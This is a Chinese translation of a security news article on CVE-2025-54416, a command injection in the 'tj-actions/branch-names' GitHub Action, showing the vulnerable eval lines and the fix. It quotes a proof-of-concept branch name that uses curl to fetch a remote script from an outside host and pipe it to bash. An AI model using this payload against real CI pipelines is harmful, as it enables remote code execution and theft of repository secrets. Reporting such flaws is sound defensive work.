GitHub Action “tj-actions/branch-names” 中存在关键命令注入漏洞(CVE-2025-54416)

阅读量26792

发布时间 : 2025-07-28 16:42:09

x
译文声明

本文是翻译文章,文章原作者 Ddos,文章来源:securityonline

原文地址:https://securityonline.info/critical-command-injection-cve-2025-54416-in-tj-actions-branch-names-github-action-exposes-5000-repos/

译文仅供参考,具体内容表达以及含义原文为准。

在广泛使用的 GitHub Action “tj-actions/branch-names” 中发现了一个关键的命令注入漏洞,影响了超过 5,000 个公共仓库。该漏洞被分配为 CVE-2025-54416,CVSS 得分为 9.1,允许在下游工作流中执行任意命令,从而使大量自动化流水线面临风险。

“branch-names” GitHub Action 是一个工作流工具,用于在 CI/CD 操作过程中检索分支和标签名称。它通常用于根据更改的文件或上下文信息触发测试、代码检查或部署工作流。然而,由于其广泛的使用,成为了攻击者的目标。

漏洞的根本原因是 Action 代码中错误地使用了 Shell 命令。尽管最初使用了 printf "%q" 来转义输入,但开发者后来使用 eval printf "%s" 解除了转义,从而重新引入了他们试图防止的命令注入风险。

echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"

通过使用 eval,任何精心构造的分支名称或标签都可以在 CI 工作流中触发命令执行。

在顾问报告中演示了该漏洞。攻击者可以简单地创建一个分支名称:

$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)

一旦使用该分支打开一个拉取请求,漏洞的 Action 就会执行其中的嵌入式有效载荷。这展示了攻击者如何在 GitHub 托管的运行器上执行远程脚本,从而可能窃取机密或修改源代码。

根据仓库的配置,攻击者利用此漏洞可能会:

  • 外泄敏感仓库机密

  • 获得未经授权的写入访问权限

  • 将恶意代码注入发布或部署流水线

  • 破坏 CI/CD 流水线的完整性

顾问报告解释道:“影响的严重性取决于 GITHUB_TOKEN 的权限以及触发事件的上下文。”

这在自动触发特权工作流的环境中尤其令人担忧。

为了解决这个问题,该 Action 现在已经完全移除了 eval 的使用。取而代之的是使用安全的、直接的 printf 调用来写入输出,这样就不会允许命令注入:

printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"

这样既保持了 Shell 安全性,又能实现相同的功能。

使用 tj-actions/branch-names 工作流的开发者应立即将工作流更新到最新的 v9 版本。

本文翻译自securityonline 原文链接。如若转载请注明出处。
分享到:微信
+10赞
收藏
安全客
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66